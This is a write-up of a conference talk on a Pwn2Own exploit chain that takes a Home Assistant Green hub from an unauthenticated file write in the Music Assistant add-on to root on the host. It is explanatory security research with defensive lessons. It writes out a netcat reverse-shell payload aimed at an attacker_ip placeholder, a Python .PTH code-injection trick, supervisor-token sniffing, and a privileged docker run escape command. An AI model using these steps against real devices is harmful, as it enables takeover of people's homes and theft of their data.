Pwn the Hub, Own the Home: Breaking Home Assistant

Pwn the Hub, Own the Home: Breaking Home Assistant

Speakers: Emanuele Barbeno (Pentester, Compass Security); Yves Bieri (AI Systems Researcher, Cint)

Conference: BruCON

YouTube: https://www.youtube.com/watch?v=8UMCMcgYjBk

Overview

This talk, "Pwn the Hub, Own the Home: Breaking Home Assistant," delivered at BruCON, details a sophisticated, multi-stage attack that achieved full root compromise of a Home Assistant Green smart home hub. Presented by Emanuele Barbeno and Yves Bieri from Compass Security (with Yves having since moved to Cint), the research was conducted for the prestigious Pwn2Own competition in Cork, Ireland. The presentation meticulously breaks down how a series of seemingly minor vulnerabilities, when chained together, allowed an unauthenticated attacker to gain control over the entire system, highlighting critical security considerations for modern smart home platforms.

The significance of this research lies in its demonstration of a complete takeover of a device designed to orchestrate an entire smart home ecosystem. Home Assistant, a popular open-source platform, controls everything from lights and cameras to robot vacuums, making its compromise a direct threat to user privacy, physical security, and data integrity. The attackers navigated strict Pwn2Own rules, including the requirement for an unauthenticated exploit against a fully updated device, showcasing a deep understanding of Docker containerization, Python internals, and inter-container communication within the Home Assistant operating system.

The exploit chain began with an unauthenticated arbitrary file write vulnerability in an official Home Assistant add-on, the Music Assistant. This initial foothold was then leveraged to achieve arbitrary code execution within the add-on's Docker container. The most critical pivot involved escaping this container by sniffing internal network traffic to steal a high-privilege Supervisor Token from the Home Assistant Core container. With this token, the attackers could impersonate the core system, install a malicious add-on with elevated permissions, disable security features, and ultimately gain root access to the underlying host operating system.

Background

▶ Watch: Pwn2Own competition rules and Home Assistant target (0:00)

The research for "Pwn the Hub, Own the Home" was undertaken specifically for the Pwn2Own cybersecurity competition, organized by Trend Micro's Zero Day Initiative (ZDI). Pwn2Own challenges security researchers to find and exploit zero-day vulnerabilities in a range of targets, from printers and network-attached storage (NAS) devices to phones and smart home hubs. The competition has stringent rules: exploits must be demonstrated live on stage within 30 minutes (three attempts of 10 minutes each), require no user interaction or prior authentication, and target devices running the latest software updates. These constraints demand highly reliable and efficient exploits.

The target selected by the Compass Security team was Home Assistant Green, a dedicated hardware device for running the Home Assistant smart home operating system. Home Assistant is a powerful open-source platform designed to integrate and automate a vast array of smart devices. Its architecture is Docker-based, meaning different functionalities run in isolated containers. Key components include:

• The Home Assistant Core container: Responsible for the web server (exposed on port 8123) and user interface.
• The Supervisor container: A high-privileged container managing the entire system, including backups, updates, and add-on installations.
• Add-on containers: Separate Docker containers for extending Home Assistant's functionality, such as DNS servers or media players. Add-ons can be "official" (maintained by Home Assistant developers) or "community" (developed by third parties). They can have varying levels of access to the Supervisor API depending on their configured permissions.

Initially, the researchers struggled to find vulnerabilities in the default Home Assistant Green configuration. However, Pwn2Own organizers (ZDI) allowed a change to the default configuration if it represented a "reasonable" real-world deployment. The team successfully argued for the installation of an official add-on, as many Home Assistant deployments utilize these to expand functionality. This decision was pivotal, as it significantly broadened the attack surface. After reviewing numerous official add-ons, the team settled on the Music Assistant add-on, which proved to contain the critical initial vulnerabilities. This strategic choice underscores the importance of understanding target environments and leveraging permissible configuration changes in offensive security research.

Key Findings

▶ Watch: Arbitrary file creation through playlist update (13:20)

The research uncovered a sophisticated multi-stage attack vector, culminating in full host compromise of the Home Assistant Green device. The key findings can be summarized as follows:

1. Unauthenticated Arbitrary File Write in Music Assistant Add-on:

• The Music Assistant add-on, when installed, exposes an unauthenticated web interface on port 8095, separate from the main Home Assistant UI on port 8123.
• This interface allows unauthenticated users to interact with a "file system provider," which manages music playlists stored locally as M3U files.
• A critical vulnerability was identified in the update playlist API call, allowing an attacker to specify an arbitrary file path (e.g., /temp/malicious.m3u) for a playlist. Although the file wasn't immediately created, adding a track to the "updated" playlist would then write the file to the attacker-controlled path.
• Furthermore, by manipulating the track_id parameter in the add track API call, attackers could inject arbitrary content into the created file, albeit with a mandatory colon_slash_slash prefix.

1. Arbitrary Code Execution (RCE) within Music Assistant Container:

• The arbitrary file write primitive was leveraged to achieve RCE within the Music Assistant's Docker container.
• The attackers targeted Python site-specific configuration hooks using .PTH files. When a Python process starts, it reads .PTH files in its site-packages directory. If a line in a .PTH file begins with import, that statement is executed.
• By injecting a newline character (\n) into the controlled file content, the attackers bypassed the colon_slash_slash prefix, allowing import os; os.system("netcat_reverse_shell_command") to be written on a new line within a .PTH file in the Music Assistant's site-packages directory.
• The RCE payload was triggered by adding a YouTube Music provider, which internally executes uvp pip install, spawning a new Python process that then loads and executes the malicious .PTH file. This provided an interactive reverse shell within the Music Assistant container.

1. Container Escape and Root Access to Host OS:

• The Music Assistant add-on was configured with host_network: true, meaning its Docker container shared the host's network namespace. This allowed the attackers, once inside the container, to sniff all network traffic on the host.
• Using tcpdump, the team observed plain-text HTTP requests to the Supervisor API (e.g., /supervisor/info) containing the SUPERVISOR_TOKEN. This token was identified as belonging to the high-privileged Home Assistant Core container.
• With the stolen Core container's token, the attackers could impersonate Core and interact with the Supervisor API. This allowed them to:
• Add a custom, attacker-controlled Git repository containing a malicious add-on.
• Install this malicious add-on, configured with maximum privileges (e.g., homeassistant_api: true, admin role, docker_api: true).
• Disable the protection mode flag for their malicious add-on, which normally restricts powerful permissions even if requested.
• Finally, by connecting via SSH to their now privileged custom add-on and leveraging its docker_api: true permission, they executed a docker run command with --privileged, --pid=host, and -v /:/host flags. This effectively mounted the host's file system and allowed them to chroot into it, gaining root access to the underlying Home Assistant operating system.

Technical Deep Dive

▶ Watch: Container escape by stealing core supervisor token (28:30)

The attack against Home Assistant Green was a meticulously crafted chain of vulnerabilities, beginning with an unauthenticated entry point and progressively escalating privileges until full host compromise was achieved.

Initial Foothold: Unauthenticated File Write in Music Assistant

The journey began with the Music Assistant add-on, which, upon installation, exposed an unauthenticated web interface on port 8095, separate from the main Home Assistant interface on 8123. This unauthenticated access was critical, as Pwn2Own rules mandate no prior credentials. The Music Assistant allows users to add various "music providers," one of which is a file system provider that stores playlists as .M3U files locally.

The attackers discovered that they could create a new playlist via an API call, providing a name. Subsequent analysis of the JavaScript revealed an update playlist command. By manipulating the item_id parameter in this update command, they could replace the default filename (e.g., test123.m3u) with an arbitrary path on the file system, such as /temp/CSNC. Although the file wasn't immediately created, a subsequent API call to add a song to this "updated" playlist would then write the .M3U file to the attacker-specified path. This provided an arbitrary file write primitive.

Further investigation into controlling the content of these files revealed that the track_id parameter within the add track API call could be manipulated. While attempts to inject arbitrary strings directly often resulted in server errors (e.g., expecting an integer), changing the URI scheme from library: to an arbitrary string (e.g., CSNC:) allowed the system to accept arbitrary content after the colon_slash_slash prefix. For instance, CSNC:track_ABCD would be written into the file. The challenge was that the colon_slash_slash prefix was mandatory, limiting direct arbitrary content injection.

Achieving RCE with Python .PTH Files

To transition from an arbitrary file write to arbitrary code execution (RCE), the attackers targeted the Python environment, which was identified as the runtime for the web server. They leveraged a technique involving Python site-specific configuration hooks using .PTH files. These files, located in a Python installation's site-packages directory, are processed line by line when a new Python process is spawned. Crucially, any line starting with the keyword import is executed as a Python statement.

The strategy was to write a malicious .PTH file to the Music Assistant's site-packages directory. The desired payload was import os; os.system("nc -e /bin/bash attacker_ip attacker_port") to establish a netcat reverse shell. The main hurdle was the mandatory colon_slash_slash prefix that the file write primitive imposed. To overcome this, the attackers injected a newline character (\n) into the content string. This allowed the unwanted prefix (e.g., CSNC:track_ABCD) to be written on one line, followed by a new line starting with the import statement, ensuring the payload was correctly parsed and executed by Python. They also added a # for the first line to ensure it was treated as a comment, preventing syntax errors.

The final piece of the RCE puzzle was finding a way to reliably spawn a new Python process within the Music Assistant container. After extensive searching, they discovered that adding a YouTube Music provider through the Music Assistant's API would trigger the execution of uvp pip install internally. This command, by its nature, spawns a new Python process, thereby loading the malicious .PTH file and executing the reverse shell payload. This successfully granted an interactive shell within the Music Assistant Docker container.

Container Escape and Root Access to Host OS

While a shell in the Music Assistant container was a significant achievement, Pwn2Own required compromise of the Home Assistant Core container or the host operating system. The next stage involved container escape and privilege escalation.

The key enabler for container escape was the Music Assistant add-on's configuration setting: host_network: true. This Docker configuration means the container shares the network stack with the host system, allowing it to see all host network traffic. From within the compromised Music Assistant container, the attackers used tcpdump to capture network traffic. They observed plain-text HTTP requests to the Supervisor API (e.g., http://172.30.32.2/supervisor/info) that included a Bearer token in the Authorization header. This token, identified as the SUPERVISOR_TOKEN, was crucial as it belonged to the high-privileged Home Assistant Core container.

With the Core container's token, the attackers could impersonate Core and interact with the Supervisor API with extensive privileges. This allowed them to orchestrate the installation of their own malicious add-on:

1. They used an internal HTTP POST API call (e.g., to /supervisor/api/repos) to add a custom Git repository hosting their malicious add-on to Home Assistant.
2. They then sent another POST request to install their add-on, specifying its slug and including the stolen Supervisor token.
3. Once installed, the add-on needed to be started, which was done via another POST request to the Supervisor API.

Their malicious add-on was crafted with maximum permissions in its configuration, including homeassistant_api: true, an admin role, and critically, docker_api: true. However, even with these permissions, a default Home Assistant security feature called Protection Mode (enabled by default) prevented the add-on from using powerful capabilities like Docker API access. The attackers discovered that Protection Mode could be disabled via a Supervisor API call (e.g., /supervisor/api/{addon_slug}/options with protected: false), again using the stolen Core token. After disabling protection mode and rebooting their custom add-on, they finally had full Docker API access from within their malicious add-on.

The final step to achieving root access on the host OS was straightforward with Docker API access. From their SSH shell inside the malicious add-on (exposed on port 8000), they executed a docker run command with specific flags:

• --privileged: Grants extended capabilities to the container.
• --pid=host: Shares the host's process namespace.
• -v /:/host: Mounts the entire host file system into the container at /host.
• chroot /host /bin/bash: Changes the root directory to /host and spawns a bash shell, effectively giving them a root shell directly on the underlying Home Assistant operating system.

This multi-stage attack demonstrated a complete breach, from an unauthenticated entry point in an add-on to full root control of the host system.

Demo / Proof of Concept

▶ Watch: Disabling protection mode for host root access (37:50)

The culmination of this extensive research was the live demonstration at the Pwn2Own competition in Cork. The exploit was designed as a multi-stage automated script to meet the strict time limits and no-interaction rules of the competition.

The overall flow of the Proof of Concept was as follows:

1. Initial RCE on Music Assistant: The attacker's laptop, on the same network as the Home Assistant Green, initiated the exploit by targeting the Music Assistant's unauthenticated port 8095. This involved sending the HTTP requests to create a file system provider, update a playlist with the malicious .PTH file path and content (including the \n character and import os; os.system(...) payload), and finally trigger the RCE by adding a YouTube Music provider. This step resulted in a reverse shell back to the attacker's machine, now running inside the Music Assistant Docker container.
2. Token Stealing and Pivot Script Deployment: From the Music Assistant shell, the exploit downloaded the tcpdump binary and a Python pivot script to the container. The tcpdump process was then started in the background to continuously sniff network traffic for the Supervisor Token.
3. Malicious Add-on Installation and Privilege Escalation: Once the Core container's Supervisor Token was identified and extracted from the tcpdump output (which occurred every 5 minutes due to regular API calls), the pivot script used this token to:

• Add the attacker's custom Git repository to Home Assistant.
• Install the pre-configured malicious SSH add-on.
• Start the malicious add-on.
• Disable the add-on's Protection Mode flag via the Supervisor API.

1. Host Root Access: The attacker's laptop then connected via SSH to the newly running malicious add-on (exposed on port 8000). From this highly privileged add-on, the script executed the Docker command (docker run --privileged --pid=host -v /:/host chroot /host /bin/bash) to gain a root shell on the Home Assistant host operating system.

During the live Pwn2Own attempt, the demonstration faced a moment of intense suspense. While the RCE on Music Assistant worked quickly, the token stealing phase took longer than anticipated. The speakers recounted the anxiety as the timer approached the critical 4:30 minute mark, where during internal testing, sometimes the token wasn't found, necessitating a device reboot and a failed attempt. However, at precisely 4 minutes and 30 seconds, the Supervisor Token was successfully identified, allowing the remaining steps to execute flawlessly. The exploit worked, earning the team 20,000 USD and four Master of Pwn points, validating their intricate research. The live demo did not work in the BruCON talk itself due to the device updating, but a video recording of the Pwn2Own success was played.

Defensive Implications

▶ Watch: Q&A: Core token stealing vulnerability patched? (51:20)

This research highlights several critical security vulnerabilities and architectural considerations within the Home Assistant ecosystem, offering valuable lessons for both developers and users.

1. Principle of Least Privilege for Add-ons: The most significant takeaway is the need for stricter adherence to the principle of least privilege for add-ons. The Music Assistant's exposure of an unauthenticated web interface on port 8095 by default, coupled with its host_network: true configuration, created a massive attack surface. Add-ons should only expose necessary services and be strictly isolated within their Docker networks unless a compelling reason dictates otherwise. Default configurations should prioritize security over convenience.
2. Robust Input Validation: The arbitrary file write vulnerability stemmed from insufficient input validation on file paths and content within the Music Assistant's API. Developers must implement rigorous sanitization and validation for all user-supplied input, especially when it pertains to file system operations or command execution. This includes checking for path traversal sequences (../), special characters, and ensuring data types are strictly enforced.
3. Container Isolation and Network Segmentation: The host_network: true setting on the Music Assistant add-on was a critical enabler for container escape, allowing the add-on to sniff sensitive internal traffic. Docker deployments should enforce strong network segmentation between containers. Sensitive credentials like the Supervisor Token should ideally not be transmitted in plain text over internal networks, even if considered "trusted." Mechanisms like encrypted inter-container communication or more granular API access controls would mitigate such sniffing attacks.
4. Add-on Security Audits: The fact that an official add-on contained such a significant vulnerability underscores the need for thorough security audits of all add-ons, especially those maintained by the core development team. These audits should cover not only the add-on's code but also its default configuration and interactions with the broader Home Assistant system. For community add-ons, users should exercise extreme caution and only install from trusted sources after careful review.
5. Re-evaluating Protection Mode and Supervisor Token Power: The ability to disable Protection Mode via an API call using the stolen Core token, and the Core token's extensive power to install and configure add-ons, reveals a centralized point of failure. The architecture could benefit from more granular permissions for the Core token or multi-factor authorization for highly sensitive operations like disabling protection modes or installing new repositories.
6. Reduce Attack Surface: Users should be encouraged to only install necessary add-ons and disable any unused services or features. Each additional add-on or exposed port represents an increased attack surface. Regular reviews of installed add-ons and their permissions are advisable.
7. Monitoring and Alerting: Implement robust logging and monitoring for unusual activities within the Home Assistant environment. This could include detecting tcpdump processes running inside containers, attempts to modify add-on configurations, or unexpected network traffic patterns to or from internal APIs.

Key Takeaways

• Add-on Security is Paramount: The Home Assistant ecosystem's security is only as strong as its weakest add-on. Even "official" add-ons can introduce critical vulnerabilities if not rigorously secured and configured with the principle of least privilege.
• Unauthenticated Access is a Primary Target: Any service exposing an unauthenticated interface, especially on a device like a smart home hub, presents an irresistible target for attackers and must be secured with extreme caution.
• Chaining Vulnerabilities is Key: Complex attacks often combine multiple seemingly minor flaws (like an arbitrary file write, path traversal, and configuration oversight) to achieve devastating results. Defenders must address each link in the chain.
• Docker Configuration Matters: Docker settings like host_network: true can inadvertently expose internal network traffic and bypass intended container isolation, creating critical avenues for privilege escalation and container escape.
• The Supervisor Token is a Crown Jewel: The Home Assistant Core container's Supervisor Token holds immense power, making it a prime target for attackers seeking to control the entire system. Its protection and the mechanisms for its use require stringent security controls.
• Defense-in-Depth is Essential for Smart Homes: Given the sensitive nature of smart home hubs, a multi-layered security approach is crucial, encompassing secure coding practices, robust input validation, strong container isolation, careful configuration management, and continuous monitoring.

About the Speaker(s)

Emanuele Barbeno is a pentester at Compass Security, a Swiss pentesting company. His expertise spans various domains, including web, mobile, cloud security, and red teaming. He was a key researcher in the "Pwn the Hub, Own the Home" project.

Yves Bieri was also a pentester at Compass Security at the time of this research, working on similar areas as Emanuele. He has since moved on to Cint, where he now works as an AI Systems Researcher, focusing on leveraging AI to discover new vulnerabilities.